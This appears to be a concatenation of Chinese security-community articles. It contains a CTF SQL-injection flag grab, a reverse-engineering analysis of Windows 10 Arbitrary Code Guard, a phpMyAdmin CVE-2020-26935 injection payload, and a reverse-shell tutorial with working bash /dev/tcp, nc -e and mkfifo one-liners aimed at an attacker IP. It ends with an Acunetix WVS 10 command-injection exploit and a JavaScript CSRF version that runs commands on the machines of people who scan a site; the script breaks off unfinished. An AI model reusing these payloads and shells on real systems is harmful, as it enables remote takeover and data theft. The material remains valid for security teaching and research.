这里由于没有回显，需要将查询到的信息或者 flag 插入到 post 的 content 里，然后访问网页让其显示出来，执行的语句如下：
INSERT INTO posts (userid, content, title, attachment) VALUES (123, (select flag from flag.flag), "foo", "bar");-- -
末尾加入-- -是为了注释掉 \x0a\x0a gopher 自动添加的内容，不然 query 无法成功执行
注意这里有个利用点，访问 default.php 时候加入 **Debug: 1** 这个 HTTP 头可以看到你的 uid。
### 最终 Payload
最终我修改官方 EXP 如下：
截获到的 Payload 如下：
### 心得
当事人表示很爽，非常爽 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/M_juT5PZrMMmqYYAwenKnw>**
# **1 前言**
Windows10提供了 ACG (Arbitrary Code Guard)
保护功能，官方解释其功能为：禁止进程动态分配可执行内存或者将已经存在的一段可读可写内存改为可执行。在笔者对其进行逆向工程后，会发现其功能包括以下情景：
* 用NTAllocVirtualMemory新申请一块可执行内存。
* 当前只读， 不能改为可执行。
* 当前读写， 不能改为可执行。
* 在当前执行权限为可执行的情况下， 不能加入可读写权限。
## **1.1 应用层探视**
通过如下代码，测试 ACG 行为：
void alloc_test(void)
{
LPVOID mem;
DWORD old_flags;
mem = VirtualAlloc(NULL, 0x100, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE);
if (!mem) {
printf("error: %d\n", GetLastError());
return;
}
printf("\nalloc at 0x%p\n", mem);
}
新申请一块可执行内存会被系统拒绝掉。
void alloc_test(void)
{
LPVOID mem;
DWORD old_flags;
mem = VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) {
printf("error: %d\n", GetLastError());
return;
}
printf("\nalloc at 0x%p\n", mem);
old_flags = PAGE_READWRITE;
if (VirtualProtect(mem, 0x100, PAGE_EXECUTE_READWRITE, &old_flags) == 0) {
printf("change memory page exccute error: %d\n", GetLastError());
return ;
}
printf("change memory page ok.\n");
return;
}
如果先申请一块可读写内存， 然后更改为可执行，同样拒绝。 用 windbg 跟踪得到如下调用链：
KERNELBASE!VirtualProtect -> ntdll!NtProtectVirtualMemory
0:000> kcL
# Call Site
00 ntdll!NtProtectVirtualMemory
01 KERNELBASE!VirtualProtect
02 test7!alloc_test
03 test7!main
04 test7!invoke_main
05 test7!__scrt_common_main_seh
06 test7!__scrt_common_main
07 test7!mainCRTStartup
08 KERNEL32!BaseThreadInitThunk
09 ntdll!RtlUserThreadStart
反汇编ntdll!NtProtectVirtualMemory看下：
0:000> u eip
ntdll!NtProtectVirtualMemory:
00007ffb`c3a50150 4c8bd1 mov r10,rcx
00007ffb`c3a50153 b850000000 mov eax,50h
00007ffb`c3a50158 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`c3a50160 7503 jne ntdll!NtProtectVirtualMemory+0x15 (00007ffb`c3a50165)
00007ffb`c3a50162 0f05 syscall
00007ffb`c3a50164 c3 ret
00007ffb`c3a50165 cd2e int 2Eh
00007ffb`c3a50167 c3 ret
Eax寄存器赋值为0x50，对应的是内核中的nt!NtProtectVirtualMemory服务例程。
## **1.2 内核逆向**
用ida分析ntoskrnl.exe， 虽然也加载了符号，
但是发现只有NtAllocVirtualMemory函数有符号，却没有NtProtectVirtualMemory函数中的符号。在undocumented.ntinternals.net中找到了它的函数原型定义，于是通过kd直接反汇编进行分析，为便于理解，我人肉的将反汇编代码还原为伪c代码。
NTSTATUS NtProtectVirtualMemory(int64 handle,
void **BaseAddress,
Uint64 *NumberOfBytesToProtect,
Uint64 NewAccessProtection,
Uint64 *OldAccessProtection)
{
Uint64 *v1;// rsp+0x20
Uint64 *v2;// rsp+0x28
Uint64 *v3;// rsp+0x30
Uint64 *v4;// rsp+0x38
Char v5;// rsp+0x40
int *v6;// rsp+0x44
Uint64 *v7;// rsp+0x48
Uint64 *v8;// rsp+0x50
Uint64 v9;// rsp+0x58
Int64 v10;// rsp+0x60
Int64 *v11;// rsp+0x68
Uint64 *v12;// rsp+0x70
Uint64 *v13;// rsp+0x78
Char v14[48];// rsp+0x80
int64 v15;// rsp+0xb0
ETHREAD e_thread;
Int v_r13;
Int ret;
Int *v16;
Int v17;
V15 = *(int64 *)_security_cookie;
V12 = NumberOfBytesToProtect;
V10 = handle;
V13 = OldAccessProtection;
Memset(v14, 0, 0x30);
If (NewAccessProtection == 0x80000000h || NewAccessProtection == 0x10000000h) {
V_r13 = 0x18;
Goto label_4;
}
V_r13 = MiMakeProtectionMask(NewAccessProtection & 0FFFFFFFh);
If (v_r13 == 0FFFFFFFFh) {
Ret = 0C0000045h;
Goto out;
}
Label_4:
V7 = *(int64 *)(e_thread + 0xb8);
V5 = (char)(e_thread->pcb->PreviousMode);
If (!v5)
Goto label_2;
V16 = BaseAddress;
If (BaseAddress >= 0x7FFFFFFF0000h)
V16 = 0x7FFFFFFF0000h;
If (NumberOfBytesToProtect >= 0x7FFFFFFF0000h)
V16 = 0x7FFFFFFF0000h;
If (OldAccessProtection < 0x7FFFFFFF0000h)
V16 = 0x7FFFFFFF0000h;
V8 = *BaseAddress;
V9 = *NumberOfBytesToProtect;
Label_3:
If (v8 > 0x7FFFFFFEFFFFh) {
Ret = 0C00000F0h;
Goto out;
}
If (0x7FFFFFFF0000h - v8 > v9 || !v9) {
Ret = 0x0C00000F1h;
Goto out;
}
V17 = 0;
Ret = ObpReferenceObjectByHandleWithTag(v10,
8,
*(int64 *)PsProcessType,
v5,
0x76506D4Dh,
V11,
0);
If (ret < 0))
Goto out;
If (v7 != v11) {
KiStackAttachProcess(v11, 0, v14);
V17 = 1;
}
If (*(char *)(v11 + 0x2d8) != 1) {
VslDebugProtectSecureProcessMemory(v11, v7);
Goto label_5;
}
V7 = MmProtectVirtualMemory(v7, v11, v8, v9, NewAccessProtection, v6);
Label_5:
If (v17 == 1)
KiUnstackDetachProcess(v14, 0);
If (OldAccessProtection < 0)
Goto label_6;
ret = MiMakeProtectionMask(v6);
R_13 |= ret;
If (r_13 & 2)
EtwTiLogProtectExecVm(v11, v5, v8, v9, NewAccessProtection, v6);
Label_6:
ObfDereferenceObjectWithTag(v11, 0x76506D4Dh);
*v12 = v9;
*BaseAddress = v8;
*v13 = v6;
Ret = OldAccessProtection;
Goto out;
Label_2:
V9 = *NumberOfBytesToProtect;
V8 = *BaseAddress;
Goto label_3;
Out:
_security_check_cookie(v5 & rsp);
Return ret;
}
MiMakeProtectionMask作用是将用户态定义的页属性转为内核中定义的页属性。翻阅vs中winnt.h和wrk相关代码可以看到:
#define PAGE_NOACCESS 0x01
#define PAGE_READONLY 0x02
#define PAGE_READWRITE 0x04
#define PAGE_WRITECOPY 0x08
#define PAGE_EXECUTE 0x10
#define PAGE_EXECUTE_READ 0x20
#define PAGE_EXECUTE_READWRITE 0x40
#define PAGE_EXECUTE_WRITECOPY 0x80
#define PAGE_GUARD 0x100
#define PAGE_NOCACHE 0x200
#define PAGE_WRITECOMBINE 0x400
#define MM_ZERO_ACCESS 0 // this value is not used.
#define MM_READONLY 1
#define MM_EXECUTE 2
#define MM_EXECUTE_READ 3
#define MM_READWRITE 4 // bit 2 is set if this is writable.
#define MM_WRITECOPY 5
#define MM_EXECUTE_READWRITE 6
#define MM_EXECUTE_WRITECOPY 7
同样还原后的c伪代码为：
ULONG MiMakeProtectionMask(ULONG protect)
{
Int tmp1, tmp2, tmp3;
Char flag;
If (protect >= 0x800)
Return -1;
// 测试0-3bit
Tmp1 = protect & 0x0f;
If (tmp1) {
If (protect & 0xf0)
Return -1;
Flag = *(char *)SeConvertSecurityDescriptorToStringSecurityDescriptor(tmp1 + 37EF70h + tmp1);
Goto label_1;
}
// 测试4-7bit
Tmp1 = (protect >> 4) & 0x0f;
If (!tmp1)
Return -1;
Flag = *(char *)SeConvertSecurityDescriptorToStringSecurityDescriptor(tmp1 + 37EF80h + tmp1);
Label_1:
If (flag == -1)
Return -1;
If (protect & 0x700)
Goto lable_2;
Return flag;
// 测试8-11bit
Label_2:
// 第8bit设置
If (protect & 0x100) {
If (tmp1 == 0x18)
Return -1;
Tmp1 &= 0x10;
}
// 第9bit没设置
If (!(protect & 0x200)) {
Protect &= 0x400;
If (!Protect)
Return tmp1;
}
If (tmp1 == 0x18)
Return -1;
If (tmp1 & 0x2)
Return -1;
Return tmp1 | 0x18;
}
在转换为内核页属性后， 继续调用MmProtectVirtualMemory，它进而调用MiAllowProtectionChange。 还原为伪c代码为：
NTSTATUS MiAllowProtectionChange(int64 a1,
int64 a2,
int64 a3,
int64 a4,
int64 a5,
int64 a6)
{
Int64 *v1;// rsp+0x20
Int64 *v2;// rsp+0x28
Int64 *v3;// rsp+0x30
Int64 *v4;// rsp+0x38
Int64 *v5;// rsp+0x40
Int64 v6;// rsp+0x50
Int v7;// rsp+0x54
Int64 v8;// rsp+0x58
Int64 v9;// rsp+0x60
Int v10;// esi
Int v11;// ebx
Int v12;// ecx
char v13;// r9b
Int v14;// r10d
int v15;// eax
Char v16;// r12b
V10 = (int)a4;
// 如果请求新的页属性为MM_EXECUTE
If (a4 & 2) {
V14 = *(int *)(a3 + 0x30);
// 0xc00 PAGE_WRITECOMBINE|PAGE_GRAPHICS_NOACCESS
// 0x380 PAGE_EXECUTE_WRITECOPY|PAGE_GUARD|PAGE_NOCACHE
If ((v14 == 0xc00) && (v14 & 0x380))
Return 0C0000045h;
}
V11 = 0;
V15 = 0;
V15 = MiLockWorkingSetShared(a1 + 0x500);
V16 = (char)v15;
If (a5 > a6)
Goto label_1;
If (v10 & 2)
*(char *)a1 = 1;
Whie (1) {
V5 = &v7;
V4 = &v9;
V3 = &v8;
V2 = & v6;
V15 = MiQueryAddressState(a2, a3, v16, a3, 0, v2, v3, v4, v5);
V12 = *v2;
If (v12 == -1)
V12 = 0;
*v2 = v12;
// 查询出来的页属性不具有MM_EXECUTE
If (!(v12 & 2))
V12 = 1;
Else
V12 = 0;
// 经过前面的计算，如果请求的新页属性为可执行，但是当前的页属性不具有可执行。
If (*(char *)a1 & v12) {
V11 = 1;
Break;
}
//如果请求新的页属性为可读写MM_READWRITE， 但当前页属性为可执行MM_EXECUTE。
If ((v12 & 2) && (a4 & 4)) {
V11 = 1;
break;
}
If (*v4 > a6)
Break;
}
Label_1:
MiUnlockWorkingSetShared(a1 + 0x500, v16);
If (v11)
// 根据进程的mitigation flag判断是否要阻断或记录日志。
V15 = MiArbitraryCodeBlocked(a2);
Return v15;
}
综上分析，MiAllowProtectionChange在以下两种情况下进行阻断：
1、 如果当前页属性不具有可执行， 但是要改变的权限中包含可执行权限，则阻断。也就是说只要当前存在的页属性没有可执行， 就不能把当前页面在加入可执行权限。
* 用NTAllocVirtualMemory新申请一块可执行内存。
* 当前只读， 不能改为可执行。
* 当前读写， 不能改为可执行。
2、 在当前执行权限为可执行的情况下， 不能加入可读写权限。 最后调用MiArbitraryCodeBlocked进行阻断。 还原为伪c代码为：
NTSTATUS MiArbitraryCodeBlocked(PEPROCESS eprocess)
{
PETHREAD ethread;
If (eprocess->MitigationFlags & (1 << 0x8)) {
If (ethread->CrossThreadFlags & 0x40000)) {
EtwTraceMemoryAcg(0x80000000);
EtwTimLogProhibitDynamicCode(2, eprocess);
Return 0x0C0000604;
}
Goto out;
}
If (eprocess->MitigationFlags & (1 << 0xb)) {
If (ethread->CrossThreadFlags & 0x40000)) {
EtwTimLogProhibitDynamicCode(1, eprocess);
}
}
Out:
EtwTraceMemoryAcg(0);
Return 0;
}
如果eprocess->MitigationFlags的第8个bit设置，并且ethread->CrossThreadFlags的第18bit也设置了，则会阻挡并记录日志，返回一个出错值。否则只会跟ethread->CrossThreadFlags的第18bit来判断是否需要记录日志，并返回正常值。
MitigationFlag和MitigationFlag2保存的是内核对进程漏洞缓解措施的状态值，这两个变量都是int类型，每个bit代表一个安全功能，在win10
17763版本中，MitigationFlag存满了32个bit，MitigationFlag2保存了15个bit，
所以这个版本的win10一共提供了47个安全功能。
lkd> dt nt!_eprocess -r1
+0x820 MitigationFlags : Uint4B
+0x820 MitigationFlagsValues : <unnamed-tag>
+0x000 ControlFlowGuardEnabled : Pos 0, 1 Bit
+0x000 ControlFlowGuardExportSuppressionEnabled : Pos 1, 1 Bit
+0x000 ControlFlowGuardStrict : Pos 2, 1 Bit
+0x000 DisallowStrippedImages : Pos 3, 1 Bit
+0x000 ForceRelocateImages : Pos 4, 1 Bit
+0x000 HighEntropyASLREnabled : Pos 5, 1 Bit
+0x000 StackRandomizationDisabled : Pos 6, 1 Bit
+0x000 ExtensionPointDisable : Pos 7, 1 Bit
+0x000 DisableDynamicCode : Pos 8, 1 Bit
+0x000 DisableDynamicCodeAllowOptOut : Pos 9, 1 Bit
+0x000 DisableDynamicCodeAllowRemoteDowngrade : Pos 10, 1 Bit
+0x000 AuditDisableDynamicCode : Pos 11, 1 Bit
+0x000 DisallowWin32kSystemCalls : Pos 12, 1 Bit
+0x000 AuditDisallowWin32kSystemCalls : Pos 13, 1 Bit
+0x000 EnableFilteredWin32kAPIs : Pos 14, 1 Bit
+0x000 AuditFilteredWin32kAPIs : Pos 15, 1 Bit
+0x000 DisableNonSystemFonts : Pos 16, 1 Bit
+0x000 AuditNonSystemFontLoading : Pos 17, 1 Bit
+0x000 PreferSystem32Images : Pos 18, 1 Bit
+0x000 ProhibitRemoteImageMap : Pos 19, 1 Bit
+0x000 AuditProhibitRemoteImageMap : Pos 20, 1 Bit
+0x000 ProhibitLowILImageMap : Pos 21, 1 Bit
+0x000 AuditProhibitLowILImageMap : Pos 22, 1 Bit
+0x000 SignatureMitigationOptIn : Pos 23, 1 Bit
+0x000 AuditBlockNonMicrosoftBinaries : Pos 24, 1 Bit
+0x000 AuditBlockNonMicrosoftBinariesAllowStore : Pos 25, 1 Bit
+0x000 LoaderIntegrityContinuityEnabled : Pos 26, 1 Bit
+0x000 AuditLoaderIntegrityContinuity : Pos 27, 1 Bit
+0x000 EnableModuleTamperingProtection : Pos 28, 1 Bit
+0x000 EnableModuleTamperingProtectionNoInherit : Pos 29, 1 Bit
+0x000 RestrictIndirectBranchPrediction : Pos 30, 1 Bit
+0x000 IsolateSecurityDomain : Pos 31, 1 Bit
+0x824 MitigationFlags2 : Uint4B
+0x824 MitigationFlags2Values : <unnamed-tag>
+0x000 EnableExportAddressFilter : Pos 0, 1 Bit
+0x000 AuditExportAddressFilter : Pos 1, 1 Bit
+0x000 EnableExportAddressFilterPlus : Pos 2, 1 Bit
+0x000 AuditExportAddressFilterPlus : Pos 3, 1 Bit
+0x000 EnableRopStackPivot : Pos 4, 1 Bit
+0x000 AuditRopStackPivot : Pos 5, 1 Bit
+0x000 EnableRopCallerCheck : Pos 6, 1 Bit
+0x000 AuditRopCallerCheck : Pos 7, 1 Bit
+0x000 EnableRopSimExec : Pos 8, 1 Bit
+0x000 AuditRopSimExec : Pos 9, 1 Bit
+0x000 EnableImportAddressFilter : Pos 10, 1 Bit
+0x000 AuditImportAddressFilter : Pos 11, 1 Bit
+0x000 DisablePageCombine : Pos 12, 1 Bit
+0x000 SpeculativeStoreBypassDisable : Pos 13, 1 Bit
+0x000 CetShadowStacks : Pos 14, 1 Bit
lkd> dt nt!_ethread CrossThreadFlags
+0x6d0 CrossThreadFlags : Uint4B
转化成c语言的数据结构如下：
typedef struct _EPROCESS {
...
Union {
UINT MitigationFlags；
Union {
UINT ControlFlowGuardEnabled:1;
UINT ControlFlowGuardExportSuppressionEnabled:1;
UINT ControlFlowGuardStrict:1;
UINT DisallowStrippedImages:1;
UINT ForceRelocateImages :1;
UINT HighEntropyASLREnabled:1;
UINT StackRandomizationDisabled:1;
UINT ExtensionPointDisable:1;
UINT DisableDynamicCode:1;
UINT DisableDynamicCodeAllowOptOut:1;
UINT DisableDynamicCodeAllowRemoteDowngrade:1;
UINT AuditDisableDynamicCode:1;
UINT DisallowWin32kSystemCalls:1;
UINT AuditDisallowWin32kSystemCalls:1;
UINT EnableFilteredWin32kAPIs:1;
UINT AuditFilteredWin32kAPIs :1;
UINT DisableNonSystemFonts :1;
UINT AuditNonSystemFontLoading:1;
UINT PreferSystem32Images:1;
UINT ProhibitRemoteImageMap:1;
UINT AuditProhibitRemoteImageMap:1;
UINT ProhibitLowILImageMap:1;
UINT AuditProhibitLowILImageMap:1;
UINT SignatureMitigationOptIn:1;
UINT AuditBlockNonMicrosoftBinaries:1;
UINT AuditBlockNonMicrosoftBinariesAllowStore:1;
UINT LoaderIntegrityContinuityEnabled:1;
UINT AuditLoaderIntegrityContinuity:1;
UINT EnableModuleTamperingProtection:1;
UINT EnableModuleTamperingProtectionNoInherit:1;
UINT RestrictIndirectBranchPrediction:1;
UINT IsolateSecurityDomain:1;
} MitigationFlagsValues;
}
后面我们将继续分析windows其他的mitigation机制。
* * * | 社区文章 |
#### 前言
在4.9.6之前的phpMyAdmin和5.0.3之前的5.x的SearchController中发现一个问题。在phpMyAdmin如何处理搜索功能中的SQL语句中发现了一个SQL注入漏洞。攻击者可以利用此漏洞将恶意SQL注入查询。
虽说并不造都能进后台了还要这SQL干嘛（难道getshell不香吗）..
根据CVE的描述全局搜索一下SearchController。
跟进tbl_zoom_select.php look look
调用了TableSearchController的indexAction方法
switch匹配_searchType属性, 进入case zoom
if (isset($_REQUEST['get_data_row'])
&& $_REQUEST['get_data_row'] == true
) {
$this->getDataRowAction();
return;
}
忽略无关代码, 重点看以上代码。
首先判断REQUEST变量是否有get_data_row的key并且值等于true然后执行getDataRowAction方法。在该方法里使用原生输入拼接了SQL语句导致注入。
Payload：[http://127.0.0.1/tbl_zoom_select.php?db=pentest&table=a&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1](http://127.0.0.1/tbl_zoom_select.php?db=pentest&table=a&get_data_row=1&where_clause=updatexml\(1,concat\(0x7e,user\(\)\),1))
#### Reference
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935> | 社区文章 |
## **0X00 前言**
在上一篇文章 [Linux反弹shell（一）文件描述符与重定向](https://xz.aliyun.com/t/2548
"Linux反弹shell（一）文件描述符与重定向")，我们已经讨论过了反弹shell中最核心也是相对较难理解的部分，那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识，并且也加深对反弹shell的理解吧。
## **0X01 什么是反弹shell**
reverse shell，就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse
shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
## **0X02 为什么要反弹shell**
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？
1.某客户机中了你的网马，但是它在局域网内，你直接连接不了。
2.它的ip会动态改变，你不能持续控制。
3.由于防火墙等限制，对方机器只能发送请求，不能接收请求。
4.对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。
那么反弹就很好理解了， 攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。
## **0X03 反弹shell的本质是什么**
我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么，掌握了反弹的本质，再多的方法其实只是换了包装而已。
**实验环境：**
**受害者：**
Ubuntu Linux ------> 192.168.146.128
**攻击者：**
Kali Linux ------> 192.168.146.129
我们就以最常见的bash为例：
attacker机器上执行：
nc -lvp 2333
victim 机器上执行：
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
你就会看到下图：
可以看到在攻击机上出现了受害者机器的shell
解释一下这条命令具体的含义：
**1.bash -i**
1）bash 是linux 的一个比较常见的shell,其实linux的shell还有很多，比如 sh、zsh、等，他们之间有着细小差别
2）-i 这个参数表示的是产生交互式的shell
**2./dev/tcp/ip/port**
/dev/tcp|udp/ip/port
这个文件是特别特殊的，实际上可以将其看成一个设备（Linux下一切皆文件），其实如果你访问这个文件的位置他是不存在的，如下图：
但是如果你在一方监听端口的情况下对这个文件进行读写，就能实现与监听端口的服务器的socket通信
**实例1：**
我们输出字符串到这个文件里
攻击机上的输出
**实例2：**
攻击机上的输入
受害者机器上的输出
**3.交互重定向**
**注意：**
下面的内容涉及到比较复杂的重定向和文件描述符的知识，如果理解不够深入建议看完我的上一篇文章以后再来继续阅读：
**文章链接：**
[Linux反弹shell（一）文件描述符与重定向](https://xz.aliyun.com/t/2548
"Linux反弹shell（一）文件描述符与重定向")
为了实现交互，我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入
bash -i > /dev/tcp/192.168.146.129/2333
示意图：
如下图所示，任何在受害者机器上执行的指令都不会直接回显了，而是在攻击者机器上回显。
但是这里有一个问题，攻击者没有能够实现对受害者的控制，攻击者执行的命令没法在受害者电脑上执行。
于是我们似乎还需要一条这样的指令
bash -i < /dev/tcp/192.168.146.129/2333
示意图：
这条指令的意思是将攻击者输入的命令输入给受害者的bash，自然就能执行了
现在我们需要将两条指令结合起来（如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令）：
bash -i > /dev/tcp/192.168.146.129/2333 0>&1
示意图：
**由这张示意图可以很清楚地看到，输入0是由/dev/tcp/192.168.146.129/2333
输入的，也就是攻击机的输入，命令执行的结果1，会输出到/dev/tcp/192.168.156.129/2333上，这就形成了一个回路，实现了我们远程交互式shell
的功能**
如下图所示，我在攻击机上输入 ifconfig，查看到的是受害者的ip ，也就是说我们目前已经基本完成了一个反弹shell 的功能。
**注意：**
但是这里有一个问题，就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ，如下图所示，我们马上解决
**4. >&、&>**
这个符号在我附上链接的那篇文章中也提到了，作用就是混合输出（错误、正确输出都输出到一个地方）
现在我们解决一下前面的问题：
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
可以看到命令并没有回显在受害者机器上，我们的目的达成了
当然我们也可以执行与之完全等价的指令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
**至此，我们的反弹shell的经典语句就分析完了，通过这条语句的分析我们能大致的了解反弹shell的本质，以后碰到其他的反弹shell
的语句也能用类似的分析方法区分析，甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句**
## **0X04 常见的反弹shell 的语句怎么理解**
### **1.方法一**
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
和
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
这里的唯一区别就是 0>&1 和 0<&1
，其实就是打开方式的不同，而对于这个文件描述符来讲并没有什么区别（我在上面给出链接的文章中也特地用加粗的形式解释了）
### **2.方法二**
bash -i >& /dev/tcp/192.168.146.129/2333 <&2
等价于
bash -i >& /dev/tcp/192.168.146.129/2333 0<&2
示意图：
### **3.方法三**
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
**简单的解释一下：**
exec 5<>/dev/tcp/192.168.146.129/2333
这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是 **读写方式**
（这种方法在我的前面的文章中也讲到过），于是我们就能通过文件描述符对这个socket连接进行操作了
command|while read line do .....done
这个是一个非常经典的句子，它的原句是这样的
while read line
do
…
done < file
从文件中依次读取每一行，将其赋值给 line
变量（当然这里变量可以很多，以空格分隔，这里我就举一个变量的例子，如果是一个变量的话，那么一整行都是它的了），之后再在循环中对line进行操作。
而现在我们不是从file
文件中输入了，我们使用管道符对攻击者机器上输入的命令依次执行，并将标准输出和标准错误输出都重定向到了文件描述符5，也就是攻击机上，实现交互式shell的功能。
与之完全类似的还有下面这条指令，读者有兴趣可以自己分析一下：
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
### **4.方法四**
nc 如果安装了正确的版本（存在-e 选项就能直接反弹shell）
nc -e /bin/sh 192.168.146.129 2333
但是如果是没有-e 选项是不是就不能实现了呢？当然不是，我们可以向下面这样
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
**简单的解释：**
mkfifo 命令首先创建了一个管道，cat 将管道里面的内容输出传递给/bin/sh，sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc
传到该管道，由此形成了一个回路
类似的命令：
mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe
## **0X05 总结**
反弹shell方法虽然常见，方法网上一搜就是一大把的代码，但是很少有人会去仔细斟酌反弹shell的原理，我也看到有类似的文章，但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论，导致解释语句的时候依然让人不好理解，于是这次我分成了两篇有所关联的文章彻底的剖析了一下，个人认为这个原理是非常值得大家思考的，也很有趣，如果我的文章有什么地方有问题，希望大家及时联系我。
个人博客： <http://www.k0rz3n.com>
## **0X06 参考链接**
<https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html>
<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>
<https://blog.csdn.net/roler_/article/details/17504039>
<http://www.freebuf.com/articles/system/153986.html>
<https://www.zhihu.com/question/24503813> | 社区文章 |
# 如何优雅的反击扫描你网站的黑客
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**Author：SudoHac@360adlab**
今天我们的威胁情报系统显示知名的web漏洞扫描器AWVS 10被爆出一个本地权限提升漏洞，漏洞详情及POC：
[https://www.exploit-db.com/exploits/38847/](https://www.exploit-db.com/exploits/38847/)
**漏洞分析**
根据作者的描述，问题是出现在AWVS 10 的一个任务调度的API上。
在AWVS 10
被安装后，系统会默认安装一个叫做“AcuWVSSchedulerv10”的自启动服务，这个服务是跑在system权限下的。他会监听本地的8183端口，用户可以通过它直接调用接口来给awvs添加新的扫描任务。
如下图所示，通过访问[http://127.0.0.1:8183](http://127.0.0.1:8183/)即可完成扫描任务的添加删除和进度查看。
在添加任务时，参数里有一项为reporttemplate
，他的作用是选择扫描结束生成报告时所用的模板，研究发现这个参数会被带入WVS的命令行执行。由于系统没有对用户的输入做检查，导致我们可以通过reporttemplate带入任意的参数，形成了命令注入。
通过查看awvs的官方文档
<https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/>
发现wvs命令行下有一个参数为/run，通过它可以执行系统任意命令。因此我们可以使用这个参数获得一个system权限的命令执行。
作者给出的poc如下：
import httplib
import json
from datetime import datetime
import sys
from time import gmtime, strftime
COMMAND = sys.argv[1] if len(sys.argv) > 1 else "cmd.exe"
ACUHOST = '127.0.0.1'
ACUPORT = 8183
ACUHEADERS = {
"Content-Type": "application/json; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Accept": "application/json, text/javascript, */*; q=0.01",
"RequestValidated": "true"
}
ACUEXPLOIT = "/Crawl http://www.google.it /Run ""+ COMMAND + """
ACUDATA = {"scanType":"scan",
"targetList":"",
"target":["http://"+"A"*2048],
"recurse":"-1",
"date":strftime("%m/%d/%Y", gmtime()),
"dayOfWeek":"1",
"dayOfMonth":"1",
"time": "%s:%s" % (datetime.now().hour, datetime.now().minute+1),
"deleteAfterCompletion":"False",
"params":{"profile":"Default",
"loginSeq":"<none>",
"settings":"Default",
"scanningmode":"heuristic",
"excludedhours":"<none>",
"savetodatabase":"True",
"savelogs":"False",
"generatereport":"False",
"reportformat":"PDF",
"reporttemplate":"WVSDeveloperReport.rep " + ACUEXPLOIT,
"emailaddress":""}
}
def sendExploit():
conn = httplib.HTTPConnection(ACUHOST, ACUPORT)
conn.request("POST", "/api/addScan", json.dumps(ACUDATA), ACUHEADERS)
resp = conn.getresponse()
return "%s %s" % (resp.status, resp.reason)
print "Acunetix Wvs 10 Local priviledge escalation by Daniele Linguaglossan"
print "[+] Command : %s will be executed as SYSTEM" % COMMAND
print "[+] Sending exploit..."
print "[+] Result: "+sendExploit()
print "[+] Done!"
虽然这个api没有做任何的身份鉴权和访问控制，但是由于只是监听了127.0.0.1的端口，他人无法直接访问，所以危害程度降低了很多，作者也只是把它定义为一个权限提升漏洞。
**但是真的只能用来本地提权吗？**
**进一步利用——优雅的反击**
作者给出的poc直接向接口发送添加任务的请求，因此可以看出其实这个漏洞是可以通过CSRF主动触发的。于是一个邪恶的想法诞生了，我们可不可以在网页中嵌入包含CSRF利用的js，当有人通过AWVS扫描我们的网站，触发这个js，直接执行命令反击回去呢？
感觉有点异想天开的味道，因为扫描器应该只是做http请求的发送与接收，不会去执行到页面里的js
，但是想起我的偶像mickey说过的话，梦想还是要有的，万一实现了呢？
谨记偶像的教诲，我先搭环境试了下，awvs扫描本地的一个页面，页面里包含如下的js
令我吃惊的是，在awvs扫描网站之后，服务器日志确实收到了post请求，页面的js被执行了。
看来也许真的可以反击了？
我把作者给出的poc改写为通过js提交
<script>
var time = new Date()
var y = time.getFullYear();
var m = time.getMonth()+1;
var d = time.getDate();
var hours = time.getHours();
var min = time.getMinutes()+1;
var command = "shutdown -r -t 0";
var padding = "http://";
for(i=0;i<2048;i++)padding+="a";
var exp = '{"scanType":"scan","targetList":"","target":["'+padding+'"],"recurse":"-1","date":"'+m+'/'+d+'/'+y+'","dayOfWeek":"1","dayOfMonth":"1","time":"'+hours+':'+min+'","deleteAfterCompletion":"False","params":{"profile":"Default","loginSeq":"<none>","settings":"Default","scanningmode":"heuristic","excludedhours":"<none>","savetodatabase":"True","savelogs":"False","generatereport":"False","reportformat":"PDF","reporttemplate":"WVSDeveloperReport.rep /Crawl http://www.google.it /Run \"'+command+' \"","emailaddress":""}}'
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
